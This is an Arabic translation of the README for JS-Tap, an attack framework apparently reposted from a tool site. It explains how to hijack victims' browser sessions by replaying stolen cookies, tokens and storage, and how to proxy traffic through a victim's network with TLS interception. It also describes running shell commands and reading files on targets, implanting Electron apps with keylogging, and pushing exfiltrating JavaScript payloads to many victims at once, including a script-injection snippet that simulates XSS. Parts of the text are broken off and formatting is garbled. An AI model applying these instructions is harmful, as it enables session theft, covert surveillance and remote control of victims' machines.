يمكن فرز قائمة العملاء حسب الوقت (أول ظهور، آخر تحديث تم استلامه) ويمكن تصفية القائمة لإظهار العملاء "المميزين بنجمة" فقط. يوجد أيضًا بحث تصفية سريع أعلى قائمة العملاء يسمح لك بتصفية العملاء بسرعة الذين تحتوي على السلسلة المدخلة. مفيد إذا قمت بتعيين علامة اختيارية في تكوين الحمولة. تظهر العلامات الاختيارية مسبوقة باسم العميل المستعار. يتم التحقق من التصفية مقابل العلامة الاختيارية، والاسم المستعار، وعنوان IP، والبصمة، والمتصفح، والمنصة، ونوع العميل، والنطاق، و UUID. لاحظ أنه يمكنك عكس بحث التصفية عن طريق إضافة علامة تعجب "!" قبل مصطلح البحث. على سبيل المثال، لإظهار جميع العملاء الذين لا يستخدمون Firefox استخدم مصطلح التصفية "!firefox". يمكنك دمج عدة مصطلحات باستخدام `&&` لمنطق AND (على سبيل المثال `linux && chrome && !bex`).

يحتوي كل عميل على زر "x" (بالقرب من زر النجمة). يتيح لك ذلك حذف الجلسة لذلك العميل، إذا كان يرسل بيانات غير مرغوب فيها أو غير مفيدة، يمكنك منع هذا العميل من إرسال بيانات مستقبلية.

عندما تبدأ حمولة JS-Tap، فإنها تسترجع جلسة من خادم JS-Tap. إذا كنت تريد إيقاف إصدار جميع جلسات العملاء الجديدة، فحدد **إعدادات التطبيق** في الأعلى ويمكنك تعطيل جلسات العملاء الجديدة. يمكنك أيضًا تمكين عرض "بصمات" العميل، وهي قيم تجزئة قصيرة جدًا يجب أن تكون فريدة لمتصفح المستخدم على نظام معين. يمكن أن يساعد ذلك في تحديد عملاء JS-Tap الذين قد يكونون نفس الشخص. لاحظ أنه يجب تكوين عميل JS-Tap لإجراء حسابات البصمة. يبحث شريط تصفية العميل أيضًا في حقل البصمة، لذلك من السهل إظهار العملاء الذين لديهم بصمات متطابقة.

يمكنك أيضًا تكوين إشعارات البريد الإلكتروني في **إعدادات التطبيق** للإشعار بالعملاء الجدد، أو الأحداث الجديدة للعملاء. يعتمد هذا فقط على SMTP (TLS)، ويمكنك إرسال رسائل الإخطار إلى عدة مستلمين. يمنع خيار "تأخير البريد الإلكتروني" البريد العشوائي المستمر، وستحصل على بريد إلكتروني مجمع لجميع الإخطارات التي حدثت في فترة التأخير.

يمكنك تغيير عدد مرات تحديث قائمة العملاء تلقائيًا في **إعدادات التطبيق** ويمكنك أيضًا حظر عناوين IP محددة من تلقي جلسة JS-Tap هنا.

إذا كنت ترغب في إخفاء حركة مرور شبكة JS-Tap بشكل أفضل عن الفحص، فقم بتمكين إخفاء حركة المرور في **إعدادات التطبيق**. سيعمل هذا على التطبيقات التي تستخدم HTTPS حيث تكون واجهة برمجة تطبيقات webcrypto متاحة. سيقوم عميل JS-Tap بتشفير كل حركة المرور على مستوى التطبيق وإرسالها إلى نقطة نهاية API واحدة على خادم C2، والتي ستفك تشفيرها وتوجيهها من جانب الخادم. تأتي الردود من JS-Tap C2 (مثل الحمولات المخصصة) أيضًا من نقطة نهاية API هذه وهي مشفرة أيضًا. لاحظ أنه إذا كان المتصفح المتنصت لا يدعم واجهة برمجة تطبيقات الويب المشفرة، فسيعود JS-Tap إلى حركة المرور التقليدية غير المشفرة.

يحتوي كل عميل على ميزة "الملاحظات". إذا وجدت معلومات ثمينة لذلك العميل بالذات (بيانات اعتماد، رموز API، إلخ) يمكنك إضافتها إلى ملاحظات العميل. بعد مراجعة جميع عملائك وتدوين ملاحظاتك، تتيح لك ميزة **عرض جميع الملاحظات** في الأعلى تصدير جميع الملاحظات من جميع العملاء مرة واحدة.

يمكن تصفية قائمة الأحداث حسب نوع الحدث إذا كنت تحاول التركيز على شيء معين، مثل لقطات الشاشة. بالنسبة لعملاء DOM Beacon، لا يتم تحديث قائمة الأحداث / الغنائم _تلقائيًا_ (يتم تحديث قائمة العملاء) — إذا كنت تريد تحميل أحدث الأحداث، فأنت بحاجة إلى تحديد العميل مرة أخرى على اليسار. يستخدم عملاء Atom Beacon و BEX Beacon عرض أحداث يتم تحديثه تلقائيًا ويضيف أحداثًا جديدة بشكل تدريجي دون إعادة تعيين موضع التمرير.

### حقن BEX

عند عرض معلومات نطاق المنارة، يمكنك النقر فوق **حقن DOM Beacon** لوضع حقن في قائمة الانتظار.
* ستظهر شارة "SUCCESS" بمجرد طلب برنامج الحقن النصي.
* سيتم ربط الاسم المستعار لـ DOM Beacon المنشأ تلقائيًا وعرضه على بطاقة النطاق وبطاقة الشريط الجانبي للمنارة.
* تحدث عمليات الحقن على الفور إذا كان المستخدم حاليًا على النطاق المستهدف، أو عند الزيارة التالية.

### تذاكر JS-Tap وموصل JS-Tap (استنساخ الجلسة)

يلتقط BEX Beacon ملفات تعريف الارتباط (بما في ذلك httpOnly)، والتخزين المحلي، وتخزين الجلسة، ورؤوس التفويض لكل نطاق يزوره الهدف. تتيح لك **تذاكر JS-Tap** تصدير جميع بيانات الجلسة تلك ككتلة محمولة، ويقوم **موصل JS-Tap** بتشغيلها في متصفحك الخاص حتى تتمكن من التصفح كضحية.

#### إنشاء تذكرة JS-Tap

1. في بوابة JS-Tap، حدد عميل BEX Beacon وقم بتوسيع قائمة النطاق الخاصة به.
2. انقر فوق الزر **تذكرة الجلسة** على بطاقة النطاق التي تريد استنساخها.
3. يتم نسخ التذكرة إلى الحافظة كسلسلة مشفرة base64.

تحتوي التذكرة على:
- جميع ملفات تعريف الارتباط للنطاق (مع بيانات وصفية httpOnly، وآمنة، ونفس الموقع، والمسار، والنطاق، وانتهاء الصلاحية)
- رؤوس الطلبات الملتقطة (التفويض، x-api-key، إلخ.)
- أزواج المفتاح/القيمة للتخزين المحلي وتخزين الجلسة
- سلسلة وكيل المستخدم الخام للضحية، والنظام الأساسي، والمتصفح
- عناوين URL التي تمت زيارتها للنطاق (الأحدث أولاً)

**مهم:** تأكد من إنشاء التذكرة من إدخال النطاق الصحيح. على سبيل المثال، `reddit.com` و `www.reddit.com` هما إدخالات نطاق منفصلة في بيانات المنارة — اختر الإدخال الذي يحمل ملفات تعريف الارتباط الخاصة بالمصادقة.

#### تثبيت موصل JS-Tap

موصل JS-Tap هو إضافة Firefox MV2 مستقلة. **يجب أن يكون Firefox** — يعتمد على واجهة برمجة تطبيقات `webRequestBlocking` الخاصة بـ Firefox MV2 لحقن الرؤوس في الطلبات الصادرة، وهو أمر لا يدعمه Chrome MV3.

لتحميله كإضافة مؤقتة:

1. افتح Firefox وانتقل إلى `about:debugging#/runtime/this-firefox`
2. انقر فوق **"Load Temporary Add-on..."**
3. انتقل إلى دليل `jstap-conductor/` وحدد `manifest.json`

سيظهر أيقونة موصل JS-Tap (شعار JS-Tap) في شريط أدوات Firefox. تستمر الإضافات المؤقتة حتى يتم إغلاق Firefox — ستحتاج إلى إعادة التحميل بعد إعادة التشغيل.

#### استخدام موصل JS-Tap

1. انقر فوق أيقونة موصل JS-Tap في شريط الأدوات لفتح النافذة المنبثقة.
2. الصق تذكرة JS-Tap في منطقة النص وانقر فوق **استيراد**.
3. سيقوم موصل JS-Tap بما يلي:
   - **تعيين جميع ملفات تعريف الارتباط** للنطاق، بما في ذلك ملفات تعريف الارتباط httpOnly (الإضافات لديها هذا الامتياز).
   - **تسجيل حقن الرأس** — يتم حقن رؤوس التفويض والرؤوس الأخرى الملتقطة في كل طلب مطابق عبر `webRequest.onBeforeSendHeaders`.
   - **انتحال وكيل المستخدم** — يحل سلسلة وكيل مستخدم الضحية محل سلسلتك في جميع رؤوس الطلبات الصادرة لذلك النطاق.
   - **ملء التخزين** — تتم كتابة إدخالات التخزين المحلي وتخزين الجلسة عند الانتقال إلى النطاق.
   - **انتحال واجهات برمجة تطبيقات navigator** — حتى إذا كنت تستخدم Firefox، يتم تصحيح `navigator.userAgent` و `navigator.platform` و `navigator.appVersion` في سياق جافا سكريبت للصفحة لإرجاع قيم الضحية. يؤدي هذا إلى تعطيل عمليات التحقق من وكيل المستخدم من جانب العميل.
4. انقر فوق **فتح** على التذكرة المستوردة للانتقال إلى عنوان URL الأول الملتقط، أو تصفح النطاق يدويًا.
5. يجب أن تتصفح الآن كجلسة الضحية.

تظهر النافذة المنبثقة **سجل التذاكر** (آخر 10 تذاكر) مع أعداد الشارات لملفات تعريف الارتباط والرؤوس والتخزين المحلي وعناصر تخزين الجلسة. تظهر تذاكر الجلسة وتذاكر الوكيل في السجل. يمكن تنشيط/إلغاء تنشيط كل تذكرة أو حذفها. يتم تمييز تذاكر الوكيل بصريًا بشارة "proxy" تعرض المنفذ والنطاقات المستهدفة.

استخدم **إلغاء التنشيط** لتعطيل حقن الجلسة للتذكرة دون فقدانها، أو **حذف** لإزالتها بشكل دائم.

#### التحقق من أنها تعمل

- **ملفات تعريف الارتباط:** افتح أدوات مطوري Firefox ← التخزين ← ملفات تعريف الارتباط. يجب أن ترى جميع ملفات تعريف الارتباط المستوردة، بما في ذلك httpOnly.
- **الرؤوس:** افتح أدوات المطور ← علامة التبويب الشبكة. تحقق من أن رؤوس التفويض ووكيل المستخدم في الطلبات الصادرة تطابق قيم الضحية.
- **التخزين:** افتح أدوات المطور ← التخزين ← التخزين المحلي / تخزين الجلسة. تحقق من وجود المفاتيح المستوردة.
- **انتحال navigator:** افتح وحدة تحكم المتصفح واكتب `navigator.userAgent` — يجب أن يُرجع سلسلة وكيل مستخدم الضحية، وليس سلسلة Firefox.

### وكيل المتصفح

يتيح لك وكيل المتصفح توجيه حركة مرور المتصفح الخاصة بك عبر متصفح الضحية (أو عملية Node.js / Electron) في الوقت الفعلي. يتم تنفيذ الطلبات من سياق شبكة الضحية، لذلك يرى الموقع المستهدف عنوان IP للضحية وبصمة TLS.

يتم دعم الوكيل بواسطة **BEX Beacons** و **Atom Beacons** و **V8 Beacons**.

#### كيف يعمل

1. حدد منارة في البوابة وانتقل إلى علامة التبويب **الأدوات**.
2. انقر فوق **بدء الوكيل** على لوحة وكيل المتصفح. يخصص الخادم منفذًا محليًا (يظهر في اللوحة).
3. قم بتكوين متصفحك لاستخدام `127.0.0.1:<port>` كوكيل HTTP/HTTPS.
4. قم بتنزيل **شهادة CA** وقم بتثبيتها في مخزن شهادات المتصفح الخاص بك (مطلوب لـ HTTPS MITM).
5. تصفح بشكل طبيعي — يتم إعادة توجيه جميع الطلبات عبر اتصال WebSocket الخاص بالمنارة وتنفيذها من شبكة الضحية.

يقوم الوكيل بإنهاء TLS باستخدام شهادات تم إنشاؤها ديناميكيًا لكل نطاق موقعة من قبل CA لـ JS-Tap. يسمح هذا له بفحص وإعادة توجيه حركة مرور HTTPS بشفافية.

#### سير العمل القابلة للتكوين

الوكيل هو "أنبوب غبي" — يقوم بإعادة توجيه ما يرسله متصفح المشغل تمامًا، دون حقن أو تعديل بيانات الاعتماد. هذا يجعله قابلاً للتكوين مع تذاكر الجلسة لأربعة سير عمل متميزة:

| سير العمل | الإعداد | النتيجة |
|---|---|---|
| **الوكيل فقط** | بدء الوكيل، لا تذكرة جلسة | تصفح غير مصادق عليه عبر شبكة/عنوان IP الخاص بالضحية |
| **تذكرة الجلسة فقط** | استيراد تذكرة الجلسة في الموصل، لا وكيل | تصفح مصادق عليه مباشرة من عنوان IP الخاص بالمشغل |
| **الوكيل + تذكرة الجلسة** | كل من الوكيل وتذكرة الجلسة نشطان | تصفح مصادق عليه عبر شبكة الضحية — يقوم الموصل بحقن ملفات تعريف الارتباط / الرؤوس / وكيل المستخدم في متصفح المشغل، ويقوم وكيل MITM بإعادة توجيهها إلى المنارة |
| **الوكيل + تسجيل الدخول الخاص** | بدء الوكيل، تسجيل الدخول يدويًا عبر الوكيل | جلسة المشغل الخاصة عبر شبكة الضحية |

بالنسبة لسير العمل **الوكيل + تذكرة الجلسة**، يتولى موصل JS-Tap جميع عمليات حقن الجلسة (ملفات تعريف الارتباط والرؤوس ووكيل المستخدم والتخزين وانتحال navigator). يقوم وكيل MITM بإعادة توجيه الطلب الكامل للمشغل — بما في ذلك الرؤوس المحقونة — إلى المنارة، والتي تنفذ الجلب من شبكة الضحية.

#### تذاكر الوكيل

أثناء نشاط الوكيل، يمكنك النقر فوق **تذكرة الوكيل** لإنشاء تذكرة متوافقة مع موصل JS-Tap تقوم بتكوين إعدادات وكيل الموصل تلقائيًا. قم باستيراد تذكرة الوكيل في الموصل لتوجيه حركة مرور Firefox عبر المنارة دون تكوين إعدادات الوكيل يدويًا.

### استخدام لوحة Sidecar / الأدوات

عندما يكون عميل BEX Beacon متصلاً بـ Sidecar، ستعرض علامة التبويب **الأدوات** لوحة **Sidecar** (مطوية افتراضيًا، أسفل لوحة وكيل المتصفح). يعرض عملاء Atom Beacon و V8 Beacon نفس اللوحة كـ **أدوات** مع شارة **مدمج** (نظرًا لأن الوصول إلى نظام التشغيل أصلي للوكيل). تحتوي اللوحة على علامات تبويب:

#### علامة تبويب مستعرض الملفات
- يقوم مستعرض الملفات بإدراج الدليل الرئيسي للمستخدم تلقائيًا عند تحميل اللوحة لأول مرة
- تصفح عن طريق النقر على أسماء المجلدات أو الإدخال `..` للصعود إلى الدليل الأصل
- يعكس إدخال المسار دائمًا موقعك الحالي ويمكن تحريره يدويًا
- انقر فوق **قراءة** على ملف لعرض محتوياته (تم فك تشفير base64 وعرضها كنص)
- انقر فوق **العودة إلى قائمة الدليل** للعودة من عرض الملف
- **الرفع:** حدد ملفًا وانقر فوق **رفع** لكتابته إلى الدليل المستعرض الحالي. يتم تحديث القائمة تلقائيًا بعد الرفع الناجح. الحد الأقصى لحجم الملف هو 700 كيلوبايت.

#### علامة تبويب الصدفة
- محطة تفاعلية مع تتبع دليل العمل الحالي (CWD) عبر الأوامر
- يعرض الموجه دليلك الحالي على النظام المستهدف (على سبيل المثال `/home/user $ `)
- اكتب أمرًا واضغط على **Enter** أو انقر فوق **تشغيل** للتنفيذ
- يستمر CWD بين الأوامر (`cd /tmp` متبوعًا بـ `ls` سيدرج `/tmp`)
- **سجل الأوامر:** استخدم مفاتيح الأسهم **أعلى / أسفل** للتنقل عبر الأوامر السابقة
- **إظهار في نافذة منفصلة:** انقر فوق الزر **إظهار في نافذة منفصلة** لفتح الصدفة في نافذة مستقلة بشريط عنوان خاص بها، وسجل كامل للأوامر، وتشغيل مستقل
- الإخراج ملون: أخضر للموجهات، أبيض لـ stdout، أحمر لـ stderr
- يستخدم تتبع CWD بناء جملة صدفة POSIX ويعمل على أهداف Linux/macOS

#### علامة تبويب لقطات الشاشة (Atom Beacon فقط)
- **التقاط الآن** — تشغيل لقطة شاشة يدويًا لجميع النوافذ المتعقبة
- **مفاتيح الالتقاط التلقائي** — تمكين / تعطيل لقطات الشاشة التلقائية عند التركيز على النافذة، والتنقل، وأحداث النافذة الجديدة
- **فترة التهدئة** — الحد الأدنى من الثواني بين عمليات الالتقاط التلقائي لكل نافذة (الافتراضي: 30، الحد الأدنى: 5)
- انقر فوق **حفظ الإعدادات** لدفع تغييرات التبديل / فترة التهدئة إلى الوكيل في الوقت الفعلي

**ملاحظة:** الأوامر غير متزامنة. عند إرسال أمر، يستقصي واجهة المستخدم عن النتائج. يجب على المنارة / الوكيل تسجيل الوصول (نبض القلب) لالتقاط الأمر وإرسال النتيجة مرة أخرى. مع إعدادات نبض القلب الافتراضية، توقع تأخيرًا بضع ثوانٍ.

### الحمولات المخصصة
يمكن إضافة حمولات جافا سكريبت متعددة في بوابة JS-Tap وتنفيذها على عميل واحد، أو جميع العملاء الحاليين، أو تعيينها للتشغيل التلقائي على جميع العملاء المستقبليين. يمكن كتابة / تحرير الحمولات داخل بوابة JS-Tap، أو استيرادها من ملف. يمكن أيضًا تصدير الحمولات. تنسيق استيراد الحمولات هو JSON بسيط. يتم ترميز كود جافا سكريبت والوصف ببساطة باستخدام base64.```
[{"code":"YWxlcnQoJ1BheWxvYWQgMSBmaXJpbmcnKTs=","description":"VGhlIGZpcnN0IHBheWxvYWQ=","name":"Payload 1"},{"code":"YWxlcnQoJ1BheWxvYWQgMiBmaXJpbmcnKTs=","description":"VGhlIHNlY29uZCBwYXlsb2Fk","name":"Payload 2"}]

إذا كانت حمولتك المخصصة تحتاج إلى تسريب بيانات، يمكنك استخدام طريقة customExfil(note, data). استدعاء هذه الطريقة في حمولتك المخصصة سيرسل تلك البيانات النصية مرة أخرى إلى JS-Tap وسيتم عرضها كحدث في بيانات الغنيمة.

الواجهة الرئيسية للمستخدم للحمولات المخصصة تكون من شريط القائمة العلوي. اختر Custom Payloads لفتح الواجهة. سيتم عرض أي حمولات موجودة في قائمة على اليسار. يسمح لك شريط الأزرار باستيراد وتصدير القائمة. يمكن تحرير الحمولات على الجانب الأيمن، على الرغم من أنه يمكنك الضغط على زر Expand Code للحصول على جزء تحرير كود أكبر. لتحميل حمولة موجودة للتعديل، حدد الحمولة بالنقر عليها في قائمة Saved Payloads. بمجرد تعريف الحمولات وحفظها، يمكنك تنفيذها على العملاء.

في عرض Custom Payloads الرئيسي، يمكنك إطلاق حمولة ضد جميع العملاء الحاليين (زر Run). يمكنك أيضًا تشغيل سمة Autorun لحمولة، مما يعني أن جميع العملاء الجدد سيقومون بتشغيل الحمولة. لاحظ أن العملاء الحاليين لن يقوموا بتشغيل حمولة بناءً على إعداد التشغيل التلقائي.

يمكنك تشغيل Repeat وسيتم تكليف الحمولة لكل عميل عندما يتحقق من المهام. تذكر أن المعدل الذي يتحقق به العميل من مهام الحمولة المخصصة متغير، ويمكن تغيير هذا المعدل في تكوين حمولة JS-Tap الرئيسية. يمكن تغيير هذا المعدل بحمولة مخصصة (باستدعاء الدالة updateTaskCheckInterval(newDelay)). يمكن ضبط التذبذب في تأخير فحص المهمة باستخدام الدالة updateTaskCheckJitter(newTop, newBottom).

زر Clear All Jobs في واجهة الحمولة المخصصة سيحذف جميع وظائف الحمولة المخصصة من قائمة الانتظار لجميع العملاء ويعيد ضبط مفاتيح التشغيل التلقائي/المتكرر.

لتشغيل حمولة على عميل واحد، استخدم زر Run Payload على العميل المحدد الذي ترغب في تشغيلها عليه، ثم اضغط على زر Run للحمولة المحددة التي ترغب في استخدامها. يمكنك أيضًا تعيين Repeat على العملاء الأفراد.

قواعد الاستهداف

تسمح لك قواعد الاستهداف بتشغيل الحمولات تلقائيًا على العملاء الذين يطابقون معايير محددة بدلاً من اختيار العملاء يدويًا أو التشغيل بشكل أعمى على جميع العملاء.

انقر على زر Add Rule على حمولة لإنشاء قاعدة استهداف. تستخدم القواعد نفس صيغة التصفية مثل شريط بحث العميل:

  • الحقول القابلة للبحث: tag، nickname، platform، browser، type، domain، ip، uuid
  • منطق AND: استخدم && لدمج المصطلحات (مثال: linux && chrome)
  • منطق NOT: أسبق المصطلح بـ ! لنفيه (مثال: !bex-beacon)

مثال: linux && chrome && !bex سيطابق جميع عملاء Linux Chrome الذين ليسوا منارات BEX.

قبل حفظ قاعدة، يمكنك النقر على Preview لرؤية العملاء المتصلين حاليًا الذين سيتطابقون. تعرض المعاينة بطاقات عميل مصغرة بنفس المعلومات الموجودة في قائمة العملاء الرئيسية (العلامة/الاسم المستعار، الطوابع الزمنية، IP، النظام الأساسي، المتصفح، النطاق).

كل قاعدة استهداف لها عناصر التحكم الخاصة بها Autorun و Repeat و Run التي تعمل بنفس طريقة أزرار مستوى الحمولة ولكنها تؤثر فقط على العملاء المطابقين لاستعلام التصفية الخاص بالقاعدة. يمكنك أيضًا Edit أو Delete القواعد الفردية. يمكن أن تحتوي الحمولة على قواعد استهداف متعددة.

الحمولات المخصصة المُنشأة تلقائيًا (Mimic)

تتضمن JS-Tap القدرة على إنشاء حمولات مخصصة تلقائيًا. تستفيد هذه الميزة من القدرة على اعتراض عمليات إرسال النماذج واستدعاءات واجهة برمجة التطبيقات XHR/Fetch. يمكن لـ JS-Tap استخدام تلك الاتصالات المعترضة كنموذج أولي لبناء حمولة حولها.

سيتم تعيين المعلمات في الطلب بواسطة متغيرات في أعلى الحمولة المُنشأة تلقائيًا، مما يسهل تعديل الإجراء الذي يتم تنفيذه. سيتم التعامل مع عمليات إرسال النماذج التي تحتاج إلى رمز CSRF، واستدعاءات XHR/Fetch التي تتطلب عنوان Authorization بواسطة معالج المحاكاة؛ يمكنك تحديد هذه القيم في إرسال النموذج المعترض/استدعاء API وسيبحث JS-Tap في قاعدة بياناته لتحديد مصدر هذه القيم.

سيتم إنشاء حمولة تجلب أولاً القيمة الحالية لهذه العناصر في متصفح المستخدم، نظرًا لأن هذه القيم ستكون مختلفة على الأرجح بمرور الوقت وعبر المستخدمين المختلفين. سيتم استخدام القيم المستردة في الطلب اللاحق الذي يمرر معلماتك المعدلة إلى الخادم لتنفيذ الإجراء الذي يتم "محاكاته".

إذا تخطيت البحث عن هذه القيم، أو لم يطلبها الطلب، أو لم يتمكن JS-Tap من العثور على المصدر، فسيتم إنشاء حمولة تستخدم رموز CSRF وقيم عنوان Authorization من الطلب المعترض الأصلي.

لاستخدام ميزة المحاكاة لإنشاء حمولات مُنشأة تلقائيًا، ابحث عن إرسال نموذج معترض أو استدعاء API واضغط على زر Create Mimic Payload في بطاقة الحدث في عمود الغنيمة. سيفتح هذا المعالج حيث تحدد إما رمز CSRF (لإرسال النماذج) أو عناوين Authorization (لاستدعاءات API). ستحتاج إلى نسخ اسم المعلمة/الرأس في حقل الاسم، وقيمة الرمز المميز في حقل القيمة. بمجرد الانتهاء من ذلك، اضغط على زر Search للسماح لـ JS-Tap بتحديد مكان تخزين هذه القيم أو استردادها.

إذا عثر JS-Tap على مصدر تلك القيم، فإن النقر على "التالي" سينشئ الحمولة ويدخلها في نظام C2 كحمولة جديدة. قم بتغيير اسم الحمولة ووصفها وقيم المعلمات في أعلى الكود المُنشأ إلى الإعدادات التي تريدها واحفظها. يمكنك بعد ذلك تشغيل تلك الحمولة على عملاء JS-Tap.

هيكل المشروع```

JS-Tap/ ├── buildAll.py # Unified build script (extensions + sidecar + deploy bundles) ├── jsTapServer.py # Flask C2 server (all routes, models, logic) ├── jstapRun.sh # Gunicorn production launcher ├── requirements.txt # Python dependencies ├── index.html # Dashboard HTML ├── login.html # Login page ├── payloads/ │ └── telemlib.js # DOM Beacon payload ├── protectedStatic/ │ └── main.js # All dashboard UI logic ├── proxy/ # Browser Proxy (MITM proxy server) │ ├── server.py # Threaded proxy server, WebSocket relay, MITM TLS │ └── certs.py # Dynamic per-domain certificate generation ├── jstap-conductor/ # Session replay Firefox extension (standalone MV2) │ ├── manifest.json # Firefox MV2 manifest │ ├── icon.svg # Extension icon (JS-Tap logo) │ ├── background/ # Cookie setting, header injection, UA spoofing │ ├── content/ # Storage injection, navigator property spoofing │ └── popup/ # Ticket import UI ├── bex-beacon/ # Browser extension (WXT + legacy) │ ├── config.json # Central configuration (extensions, IDs, sidecar) │ ├── wxt.config.ts # WXT build config │ ├── package.json # Node dependencies │ ├── buildBexBeacon.py # Legacy extension builder │ ├── entrypoints/ │ │ ├── background/ # Service worker (heartbeat, tasks, encryption) │ │ └── content/ # Content script (DOM instrumentation) │ ├── utils/ │ │ ├── config.ts # Config translation + whitelist helpers │ │ ├── crypto.ts # AES-GCM encryption/decryption helpers │ │ ├── proxy.ts # Browser Proxy WebSocket client + fetch relay │ │ └── sidecar.ts # Native messaging module │ ├── src-chrome-extension/ # Legacy Chrome MV3 template │ └── src-firefox-extension/ # Legacy Firefox MV2 template ├── atom-beacon/ # Electron app implant patcher │ ├── atomize.py # Patcher CLI (analyze + patch Electron apps) │ ├── atomize.spec # PyInstaller spec for building atomize.exe (Windows) │ ├── asar.py # Pure-Python ASAR archive handling (extract/pack/patch) │ └── payload/ │ ├── atom-agent.js # Main process agent (C2, encryption, OS access, screenshots) │ └── atom-telemlib.js # Renderer payload (keylogging, DOM capture, network interception) ├── v8-beacon/ # Node.js / Bun CLI implant │ ├── v8ize.py # Build script (template variable replacement) │ └── payload/ │ └── v8-agent.js # V8 Beacon agent (network hooks, stdin capture, C2) ├── plugins/ # Beacon plugins (loaded at runtime via C2) │ ├── example/ # Example plugin template │ │ ├── manifest.json # Plugin metadata (id, name, targetApps, capabilities) │ │ ├── main.js # Plugin entry point (documents full plugin API) │ │ └── ui.html # Optional operator-facing UI panel │ └── mattermost/ # Mattermost-specific plugin ├── sidecar/ # Native messaging Go binary │ ├── main.go # Message loop (native messaging protocol) │ ├── commands.go # Command handlers (list_dir, read_file, exec_cmd) │ ├── go.mod # Go module │ ├── config.json # Auto-synced from central config by buildAll.py │ ├── buildSidecar.py # Cross-compile + generate install scripts │ └── uninstall.sh # Remove sidecar binary + manifests for testing ├── build/ # Build output (gitignored) │ ├── chrome-mv3/ # Unpacked Chrome extension │ ├── firefox-mv2/ # Unpacked Firefox extension │ ├── extension.crx # Packed Chrome extension │ ├── extension.xpi # Packed Firefox extension │ ├── sidecar/ # Sidecar binaries + manifests │ └── deploy/ # Self-contained deploy bundles (.tar.gz/.zip) └── tools/ # Testing utilities ├── clientSimulator.py # Async client simulator (argparse-based) ├── monkeyPatchApp/ # XHR/Fetch monkeypatch test app │ └── monkeyPatchLab.py ├── defconApp/ # XHR test app (defcon level changer) │ └── defconServer.py ├── spaTestApp/ # SPA test app for Fetch API testing │ └── spaServer.py ├── formParser.py # (Legacy) HTML form parser └── generateIntelReport.py # (Legacy) PDF report generator

root@kitploit:~
## Tools
يتم تضمين بعض الأدوات في المجلد الفرعي tools.

### clientSimulator.py
محاكي عميل غير متزامن يقوم بإنشاء 12 عميلاً وهميًا متنوعًا (مجموعات مختلفة من أنظمة التشغيل والمتصفحات)، ويسجلهم مع الخادم، ويرسل بيانات غنائم واقعية، ويستطلع مهام الحمولات المخصصة. مفيد لاختبار قواعد الاستهداف، وتصفية المطابقة، وسلوك التشغيل التلقائي/التكرار، وتسليم الحمولات المخصصة.```bash
python3 tools/clientSimulator.py

الخيارات:``` --server URL JS-Tap server URL (default: https://127.0.0.1:8444) --loot-rounds N Rounds of fake loot per client (default: 2, 0 = continuous) --poll-interval N Seconds between payload polls (default: 3) --no-loot Register and poll only, skip sending fake loot

root@kitploit:~
JS-Tap الذي يعمل باستخدام gunicorn يتوسع بشكل جيد.

### MonkeyPatchApp
تطبيق بسيط يُستخدم لاختبار monkeypatching الخاص بـ XHR/Fetch، ولكنه يمكن أن يوفر لك تطبيقًا بسيطًا لاختبار الحمولة (payload) بشكل عام.

تشغيل باستخدام:```bash
python3 tools/monkeyPatchApp/monkeyPatchLab.py

بشكل افتراضي، سيبدأ هذا بتشغيل التطبيق على:``` https://127.0.0.1:8443

root@kitploit:~
سيؤدي الضغط على زر "Inject JS-Tap payload" إلى تشغيل حمولة DOM Beacon. يعمل هذا في وضع الزرع أو الفخ. قد تحتاج إلى توجيه تطبيق monkeyPatchLab إلى موقع خادم JS-Tap جديد لتحميل ملف الحمولة، يمكنك العثور على هذا الإعداد في دالة **injectPayload()** في **main.js**```
function injectPayload()
{
	document.head.appendChild(Object.assign(document.createElement('script'),
		{src:'https://127.0.0.1:8444/lib/telemlib.js',type:'text/javascript'}));
}

DefconApp

تطبيق بسيط آخر مشابه لتطبيق MonkeyPatchApp، لكن استدعاءات واجهة برمجة تطبيقات XHR في هذا التطبيق تحدث تغييرًا مرئيًا في التطبيق (تغيير مستوى "defcon").

كما يحتوي على زر Inject JS-Tap payload يحاكي استغلال XSS. جميع الأكواد مضمنة في ملف defconServer.py، بما في ذلك JavaScript وHTML.

هذا التطبيق اختبار جيد للتوليد التلقائي للحمولات من استدعاءات شبكة XHR المعترضة.```bash python3 tools/defconApp/defconServer.py

root@kitploit:~
### SpaTestApp
تطبيق صفحة واحدة (SPA) اختباري يستخدم مكالمات Fetch API لعمليات CRUD. مفيد لاختبار monkeypatching لتطبيقات SPA القائمة على Fetch والتوليد التلقائي لـ mimic payloads من مكالمات API المعترضة.```bash
python3 tools/spaTestApp/spaServer.py

formParser.py

أداة قديمة لتحليل نماذج HTML واستخراج معاملاتها. تم استبدالها بميزة المحاكاة (mimic) التي تُنشئ تلقائياً حمولات مخصصة.

generateIntelReport.py

أداة قديمة، كانت تُستخدم قبل واجهة الويب الخاصة بـ JS-Tap. كان برنامج generateIntelReport يفحص الغنائم المجمعة ويُنشئ تقريراً بصيغة PDF. لم يعد يعمل — معظم الغنائم تُخزن الآن في قاعدة البيانات باستثناء كود HTML المُسرَّب ولقطات الشاشة.

جهة الاتصال

@hoodoer
[email protected]

تنزيل الأداة
نوع الإشارةما هيكيف تصل إلى هناك
DOM Beacon (telemlib.js)حمولة JavaScript تُحقن في صفحة ويب. تراقب DOM، وتلتقط نشاط المستخدم، ولقطات الشاشة، واستدعاءات الشبكة.ثغرة XSS، أو إضافتها مباشرة إلى ملفات JavaScript الخاصة بالتطبيق المستهدف (بعد الاستغلال).
BEX Beaconإضافة متصفح (Chrome MV3 / Firefox MV2). تراقب جميع أنشطة التصفح، وتلتقط ملفات تعريف الارتباط (بما في ذلك httpOnly)، وlocalStorage، وsessionStorage، ورؤوس الطلبات. يمكنها حقن DOM Beacons في نطاقات محددة بناءً على الأمر.مثبتة في متصفح الهدف (هندسة اجتماعية، وصول مادي، سياسة دفع، إلخ).
Sidecarملف ثنائي أصلي بلغة Go يعمل على نظام تشغيل الهدف. يوفر تصفح نظام الملفات، وقراءة الملفات، وتنفيذ الأوامر.مثبتة جنبًا إلى جنب مع BEX Beacon عبر التراسل الأصلي. يتطلب BEX Beacon لنقل الأوامر.
Atom Beaconأداة تسلل مزدوجة الطبقة لتطبيقات سطح المكتب Electron. تحقن وكيل في العملية الرئيسية (بيئة تشغيل Node.js) + حمولات في المُعالج إلى جميع نوافذ التطبيق. تجمع بين جمع البيانات على مستوى المتصفح والوصول إلى نظام التشغيل المضيف — لا حاجة لملف ثنائي منفصل. تدعم وضع وكيل المتصفح.يتم تطبيعه في أرشيف ASAR لتطبيق Electron المستهدف (أو دليل التطبيق غير المضغوط) باستخدام atomize.py.
